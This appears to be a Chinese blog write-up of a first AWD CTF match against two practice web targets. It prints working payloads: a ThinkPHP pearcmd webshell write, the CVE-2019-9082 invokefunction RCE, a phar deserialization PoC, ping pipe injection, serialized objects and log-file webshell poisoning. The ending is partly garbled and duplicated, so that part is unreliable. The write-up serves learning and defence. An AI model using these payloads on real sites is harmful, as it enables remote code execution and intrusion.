之前没打过awd,这次学长组织了一场awd娱乐赛,两个web一个pwn,还有一个黑盒,只会web,第一次啥也不会瞎打,被打烂了,不会写脚本,手交flag的感觉真“不错”,感觉awd还是比ctf好多了(虽然啥也不会),浅浅复现一下
tp6的洞
?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/=@eval($_REQUEST['a']);?>+/a.php
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tEgEXnu4-1675951929940)(第一次awd记录.assets/image-20230209220852793.png)]](https://img.pic99.top/hhfamen/202405/701b8d1a8d20bc.png)
拿到源码直接用D盾扫一下
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g0K66AC9-1675951929941)(第一次awd记录.assets/image-20230209204253007.png)]](https://img.pic99.top/hhfamen/202405/931e4698ad68.png)
发现一句话木马,直接访问rce即可
直接删除一句话木马即可
https://vulners.com/cve/CVE-2019-9082
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
在admin的index.php中
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1aohmwLD-1675951929942)(第一次awd记录.assets/image-20230209210426024.png)]](https://img.pic99.top/hhfamen/202405/8157302c3d618.png)
可以包含输出/flag,并且继承了Base
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fwixj7Ng-1675951929942)(第一次awd记录.assets/image-20230209210503296.png)]](https://img.pic99.top/hhfamen/202405/c5fc08731994307.png)
让cookie中的csrf_token等于md5('QLNU'),就可以绕过
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lQdJoj21-1675951929943)(第一次awd记录.assets/image-20230209210852038.png)]](https://img.pic99.top/hhfamen/202405/288c3c24bd5ec9e.png)
题目首页有个文件上传的接口
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Bxbphgab-1675951929943)(第一次awd记录.assets/image-20230209211202182.png)]](https://img.pic99.top/hhfamen/202405/2a51d9faa656ae2.png)
正常传入的php会显示上传文件MIME类型不允许!
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TpvFLYZT-1675951929943)(第一次awd记录.assets/image-20230209211245252.png)]](https://img.pic99.top/hhfamen/202405/7f3cfff693638e5.png)
看一下源码
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JW3kEt1M-1675951929944)(第一次awd记录.assets/image-20230209212604496.png)]](https://img.pic99.top/hhfamen/202405/6c2b82cfb8ef48d.png)
upload这里有很多过滤比赛的时候也饶了好久没绕过去,完事看wp才知道是phar反序列化
看一些继承的Base
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L9TRm04w-1675951929944)(第一次awd记录.assets/image-20230209212752288.png)]](https://img.pic99.top/hhfamen/202405/269f6debfc62b.png)
很明显的一个__destruct()魔法函数,里面有个一eval函数可以rce,而__destruct()在对象销毁时才会触发,后面有一个file_exists读文件,可以想到Phar反序列化,学长说环境不行也没打,直接放poc
public $data='system("cat /f*");';function __wakeup(){echo $this->data;}}
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."");
$o = new Core;
$phar -> setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
还是用D盾扫
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZDTptkA1-1675951929944)(第一次awd记录.assets/image-20230209213326017.png)]](https://img.pic99.top/hhfamen/202405/f9f8d456be90674.png)
删除即可
上来文件就可以看到一个log.php
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uSuqIZ82-1675951929945)(第一次awd记录.assets/image-20230209213538053.png)]](https://img.pic99.top/hhfamen/202405/37489c21c04f60a.png)
里面啥也没有,去访问一下
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kwgIy0VM-1675951929945)(第一次awd记录.assets/image-20230209213637374.png)]](https://img.pic99.top/hhfamen/202405/a767416748dc522.png)
可以看到包含了很多我们的操作,很容易可以想到随便一个地方,写一个一句话木马,就可以包含到log.php就可以getshell了
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CcWpUPsi-1675951929945)(第一次awd记录.assets/image-20230209214337691.png)]](https://img.pic99.top/hhfamen/202405/41bf44f2a18e30.png)
登录一下木马就包含到log.php中了
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-A494IE7t-1675951929946)(第一次awd记录.assets/image-20230209214408738.png)]](https://img.pic99.top/hhfamen/202405/0cb61eb35a96634.png)

可以直接登录网站后台
在user.php中的ping,可以用管道来getflag
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wvBSuPy6-1675951929946)(第一次awd记录.assets/image-20230209214824260.png)]](https://img.pic99.top/hhfamen/202405/abe7350c2976419.png)
index.php中的$c值在function.php中代表了文件名
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OYUX8IAo-1675951929947)(第一次awd记录.assets/image-20230209215227344.png)]](https://img.pic99.top/hhfamen/202405/19220dc1df7efa.png)
然后index.php中的run_a($obj,$a);在function.php运行了在$obj中的方法,$a代表方法名
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ba7D9vZ0-1675951929947)(第一次awd记录.assets/image-20230209215250673.png)]](https://img.pic99.top/hhfamen/202405/5748431d3a6e767.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zZ19FcqM-1675951929947)(第一次awd记录.assets/image-20230209215416047.png)]](https://img.pic99.top/hhfamen/202405/15cab901a8737fd.png)
用万能密码登录以后,可以看到有一个文件上传接口
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IOPRde7e-1675951929947)(第一次awd记录.assets/image-20230209215543983.png)]](https://img.pic99.top/hhfamen/202405/8416898846c694f.png)
随便上传一个php文件
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YtN1yf1j-1675951929948)(第一次awd记录.assets/image-20230209215608210.png)]](https://img.pic99.top/hhfamen/202405/4bfe787e44e888e.png)
error了,用大小写绕过
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-We7ZpkO2-1675951929948)(第一次awd记录.assets/image-20230209215637128.png)]](https://img.pic99.top/hhfamen/202405/1092d8ea182b9a2.png)
可以看到可以上传成功但解析失败,环境问题
在/common/home.php中
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pvkytdBt-1675951929948)(第一次awd记录.assets/image-20230209215802040.png)]](https://img.pic99.top/hhfamen/202405/d261baa93434cae.png)
比较明显的一个反序列化,也是利用ping直接构造
private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}
}
$a=new home("ping",array("127.0.0.1|ls"));
echo base64_encode(serialize($a));
?>
在/common/calcf.php中
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S7hl48k1-1675951929949)(第一次awd记录.assets/image-20230209220135057.png)]](https://img.pic99.top/hhfamen/202405/3b3d8e219175899.png)
也是比较明显的反序列化点,
](https://img.pic99.top/hhfamen/202405/f503453c9365ea3.png)
可以看到这里有一个__wakeup,可以向log.php写入文件,写一个一句话木马即可
var $test='';
}
$a=new chybeta();
echo serialize($a);//O:7:"chybeta":1:{s:4:"test";s:26:"";}
_wakeup`,可以向log.php写入文件,写一个一句话木马即可
var $test='';
}
$a=new chybeta();
echo serialize($a);//O:7:"chybeta":1:{s:4:"test";s:26:"";}